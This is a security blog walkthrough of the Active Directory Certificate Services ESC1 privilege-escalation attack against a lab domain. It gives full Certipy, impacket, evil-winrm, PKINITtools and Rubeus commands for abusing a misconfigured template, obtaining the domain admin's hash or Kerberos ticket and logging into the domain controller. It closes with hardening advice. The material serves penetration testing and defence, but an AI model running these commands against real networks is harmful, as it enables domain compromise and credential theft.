Active Directory Certificate Services (ADCS -ESC1)

What is the ADCS – Introduction

ADCS, or Active Directory Certificate Services, is a Microsoft server role that works with Active Directory to issue certificates. These certificates are electronic documents that help with encryption, message signing, and authentication. Certificate Authorities (CAs) issue these certificates, which bind an identity to a public/private key pair.

It works when a client generates a key pair, and the public key goes into a certificate signing request (CSR) and other details. This request goes to the Enterprise CA server, which checks if the client is allowed to request certificates. If allowed, the server looks at the certificate template specified in the request and checks if the client can obtain a certificate based on that template. If everything checks out, the server generates a certificate based on the template’s settings, signs it with its private key, and sends it back to the client.

ADCS enables the creation, management, and distribution of digital certificates used for authentication, digital signatures, and encryption. It can be used to issue certificates for various purposes, such as:

  1. User authentication: Certificates can be used to verify the identity of users in a network.
  2. Secure email: Certificates can be used to digitally sign and encrypt email messages.
  3. Secure web access: Certificates can be used to secure web access through SSL/TLS encryption.
  4. VPN access: Certificates can be used to authenticate users and devices connecting to a VPN.
  5. Code signing: Certificates can be used to sign software code to verify its authenticity and integrity.

Video Walkthrough

Want to practice this yourself?

Stop reading about ADCS attacks — start doing them. Our ready-to-deploy ADCS OVA lab gives you a fully configured environment with realistic ADCS misconfigurations to exploit. Download, import, and start hacking in minutes.

Get the Lab

Common Terms and Acronyms

We will use several terms and acronyms throughout this post and paper for reference. Here’s a quick breakdown of a few.

  • PKI (Public Key Infrastructure) — a system to manage certificates/public key encryption
  • AD CS (Active Directory Certificate Services) — Microsoft’s PKI implementation
  • CA (Certificate Authority) — PKI server that issues certificates
  • Enterprise Certification Authority CA — (CA) integrated with AD (as opposed to a standalone CA) offers certificate templates
  • Certificate Template — a collection of settings and policies that defines the contents of a certificate issued by an enterprise CA
  • CSR (Certificate Signing Request) — a message sent to a CA to request a signed certificate
  • EKU (Extended/Enhanced Key Usage) — one or more object identifiers (OIDs) that define how a certificate can be used

What an attacker can do?

  • User Credential Theft (1 year +): Attackers can steal user certificates that authenticate domains or request new certificates from user contexts. They can even survive user password changes without touching LSASS or requiring elevation.
  • Machine Persistence (1 year +): Attackers can steal existing system certificates capable of domain authentication or actively request a new certificate from a system’s context. This can be combined with Resource-Based Constrained Delegation (RBDC) or S4U2Self to survive machine password changes, which can be done without touching LSASS.
  • Domain Escalation Paths: Attackers can exploit several vulnerabilities, such as misconfigured certificate templates that allow Subject Alternative Name (SAN) specification, vulnerable Certificate Request Agent templates, vulnerable template ACLs, the EDITF_ _ATTRIBUTESUBJECTALTNAME2 flag being set, vulnerable CA permissions, or NTLM relay to web enrollment endpoints to escalate privileges in the domain.
  • Domain Persistence: Attackers can steal the certificate authority’s private key and forge “GOLDEN Certificates,” which can be used to maintain persistence in the domain.

Misconfigured Templates

Certificate templates are objects in Active Directory that are used to define policies for issuing certificates. Using a certificate template, an administrator can set the subject (the identity), validity period, purpose, and users authorized to request a certificate. Users who are authorized to request a certificate can specify its configuration using a descriptor on the Certificate Authority and in the certificate template object.

To enumerate ADCS template information from a target domain, valid domain credentials are required. However, this process typically does not require a highly privileged domain account. Any domain credential can be used to query ADCS templates and configuration details.

In this blog post, we will use our MARVEL – SHIELD domain and assume that we have gained access to SHIELD’s internal network and compromised the account of a user named “lowuser.” In this scenario, we want to obtain the ADCS configuration for the internal target domain SHIELD.local

Several tools can be used to enumerate ADCS templates. In this post, we will use a security tool called Certify along with the find command. By specifying the —enabled and —vulnerable flags, we can tell Certipy to print out vulnerable templates that are enabled specifically.

Finding Vulnerable Templates using Certipy

The full Certipy commands are shown below:

certipy find -u lowpriv -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 
certipy find -u lowpriv -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -vulnerable -enabled

Certipy generates configuration details of interest in both JSON (JavaScript Object Notation) and TXT files. These files are named in the format “_Certipy” and can be found in the output folder.

The 20240427134608_Certipy.txt file contains the vulnerable templates. However, we will need to identify it manually by opening the file with a regular text editor or using cat along with the grep command.

cat 20240427134608_Certipy.txt |grep ESC1
Finding Vulnerable Templates using Bloodhound

Additionally, Certipy runs BloodHound collectors that produce a zip file with the same naming convention. These BloodHound results can be imported into your BloodHound database to visualize potential domain privilege escalation paths.

  • Certipy generates BloodHound data that can be ingested into the BloodHound, v5.8.1, which can be found here: BloodHound.
  • Note: To import certify data on the new Bloodhound v5.8.1, utilize bloodhound-python/latest SharpHound. After collecting the data, proceed to upload it into Bloodhound v5.8.1.
  • We must specify the -old bloodhound flag to use the old version of BloodHound.
  • Note: If you opt for an older version of Bloodhound, you must use the corresponding older SharpHound version. After collecting the data, upload it to Bloodhound.
certipy find -u lowpriv -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -old-bloodhound
certipy find -u lowpriv -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -vulnerable -enabled -old-bloodhound

As we can see in the image below, the LOWPRIV user is a member of the DOMAIN USER group and has enrollment right on the ESC1 template. In other words, it refers to permissions granted to users or groups to enroll for certificates based on that template. When we create a certificate template in ADCS, we can specify who has the right to enroll for certificates using that template.

The certificate ESC1 has the following configuration that makes it vulnerable:

  • Client Authentication: True
  • Enabled: True
  • Enrollee Supplies Subject: True — ENROLLEE_SUPPLIES_SUBJECT is enabled, which allows the certificate requestor to provide any SAN (subject alternative name).
  • Enrollment Rights are set to SHIELD. LOCAL\Domain Users & SHIELD. LOCAL\Authenticated Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

Finally, the last configuration, called Requires Manager Approval, is set to FALSE

Prerequisites – ESC1 Attack

The Active Directory Certificate Attack, also known as ESC1, is a type of post-exploitation attack that can be only performed once we either gain a foothold on the internal network or use a white box penetration testing approach, in other words, if the client provides valid low-privilege credentials. In this blog we will need a set of requirements and tools to be able to compromise the Domain Controller.

  • Valid credentials – (lowprivuser)
  • Vulnerable Certificate template
  • Certipy
  • BloodHound
  • impacket Tools
  • evil-winrm
  • PKINITtools

ESC1 Attack Walk-Through on Linux

A vulnerability in the ESC1 certificate template allows users with low privileges to request and enroll a certificate on behalf of any specified domain object. In other words, any user with enrollment rights can request a certificate, even for privileged accounts, such as a domain administrator.

Templates vulnerable to ESC1 have the following configurations:

  • Client Authentication: True
  • Enabled: True
  • Requires Manager Approval: FALSE
  • Enrollee Supplies Subject: True — ENROLLEE_SUPPLIES_SUBJECT is enabled, which allows the certificate requestor to provide any SAN (subject alternative name).
  • Enrollment Rights are set to SHIELD. LOCAL\Domain Users & SHIELD. LOCAL\Authenticated Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

Once we have identified the vulnerable template, our next step is to request a certificate for the SHIELD.LOCAL\administrator user; we can achieve this by setting the user’s principal name (UPN) to administrator@shield.local. Since our initial user account, “lowuser,” is part of the Domain Users group, it is authorized to request a certificate using the vulnerable template.

The Certipy arguments required to request a certificate are as follows:

certipy req -ca 'SHIELD-DC4-CA' -dc-ip '192.168.115.180' -u 'lowpriv' -p 'P4ssw0rd123456@' -template 'ESC1' -target 'DC4.shield.LOCAL' -upn 'administrator@shield.local'

Once we have obtained the .pfx certificate file and private key, we can either request the domain admin TGT Ticket or the administrator Hash to gain access to the domain controller.

Gaining Access to DC via Pass-The-Hash Technique

In order to get that hash of the domain admin user (administrator), we can use certify in conjunction with the auth flag

certipy auth -pfx administrator.pfx

Once we obtain either the administrator hash or the TGT Tiket, we can use different tools to log into the Domain Controller, such as:

  • impacket-smbexec
  • impacket-psexec
  • evil-winrm
  • NetExec
impacket-smbexec administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:00000b43885058f27715b476e5200000
Gaining access to the DC using impacket-smbexec
Gaining access to the DC using evil-winrm
evil-winrm -i dc4.shield.local -u Administrator -H c5153b43885058f27715b476e5246a50

Gaining Access to DC using a TGT Ticket

Obtaining the TGT Ticket using Certipy

In order to obtain the administrator TGT ticket, we can use certify in conjunction with the auth flag.

certipy auth -pfx administrator.pfx

Once we obtain the TGT Ticket, we can export the administrator.ccache file with the below command

export KRB5CCNAME=administrator.ccache
impacket-psexec administrator@dc4.shield.local -k -no-pass
Obtainning he TGT Ticket using PKINITtools

In order to obtain the administrator TGT ticket, we can use gettgtpkinit.py in conjunction with the -cert-pfx flag.

python gettgtpkinit.py shield.local/administrator -cert-pfx /root/MARVEL.local/ADCS/administrator.pfx PKINIT-Administartor.ccache

Once we obtain the TGT Ticket, we can export the administrator.ccache file with the below command

export KRB5CCNAME=PKINIT-Administrator.ccache

Once we have added the .ccache file as part of our environment variables, we can log in to DC using psexec.

impacket-psexec administrator@dc4.shield.local -k -no-pass

ESC1 Attack Walk-Through on Windows

Installing certipy on windows: 
# NOTE : You have to have Python3 pre-installed on the windows host if not then u have to install it.
pip install certipy-ad  
Finding Vulnerable Certificate template:
certipy find -dc-ip 192.168.115.180 -sspi

Use SSPI to use Windows Integrated Authentication (SSPI), or in other words, just use the user’s context with which you are logged in. In our case, it was lowprivuser.

Requesting a certifcate using the vulnerable template i.e ESC1:
certipy req -ca shield-DC4-CA -dc-ip 192.168.115.180 -template ESC1 -target DC4.shield.local -upn administrator@shield.local -sspi
Authenticating & Obtaining the Domain Admin Hash using the requested certificate:
certipy auth -pfx administrator.pfx

Now we have the hashes as well as the TGT file, and we can use them to perform past the hashes or any other post-exploitation techniques.

Using ccache TGT Ticket with impacket-psexec to get a shell on DC:

NOTE: We must use a Windows CMD if we want to use the TGT Tiket (.ccache)

set KRB5CCNAME=administrator.ccache

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -k -no-pass

NOTE: We can use either a Windows Powershell or CMD if we want to use the hash.

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
Using Rubeus to get TGT Ticket:
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /nowrap
Importing the Ticket into the current session and listing the C$ share on Domain Controller:
Rubeus.exe ptt /ticket:<base64EncodedTicketHereAsShownInTheImageBelow>
dir \\dc4.shield.local\c$\

Conclusion

Although ADCS isn’t inherently insecure, it’s quite susceptible to misconfiguration, which can create pathways for unauthorized access and escalation. These misconfigurations can compromise security if unchecked. Organizations must proactively fix misconfigurations in their ADCS infrastructure to maintain security and prevent escalations.

This highlights the need for biannual penetration tests or adversary emulation assessments to verify security measures. The risks of ADCS stem from system misconfigurations, and organizations should understand its security implications. While we don’t claim to know every issue, we aim to provide guidance for safe navigation. Here are a few to start with.

  • Take stock of your certificate templates and determine whether all enabled templates are currently used. Disable all unnecessary templates.
  • It is recommended that template permissions be restricted as much as possible. Enrollment permissions should be granted only to the necessary groups and users.
  • Modify the “Issuance Requirements” to require manual approval of issued certificates where possible.
  • Disable the “Enrollee Supplies Subject” flag where possible.
  • Remove “Client Authentication” where possible.

Looking for a team to critically test your environment using real-world attack techniques? Explore RBT Security’s red team and penetration testing services.

Detections & Mitigations :

  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003

Credits & References

Share the Post:

Table of Contents

Subscribe To Our Blog

Light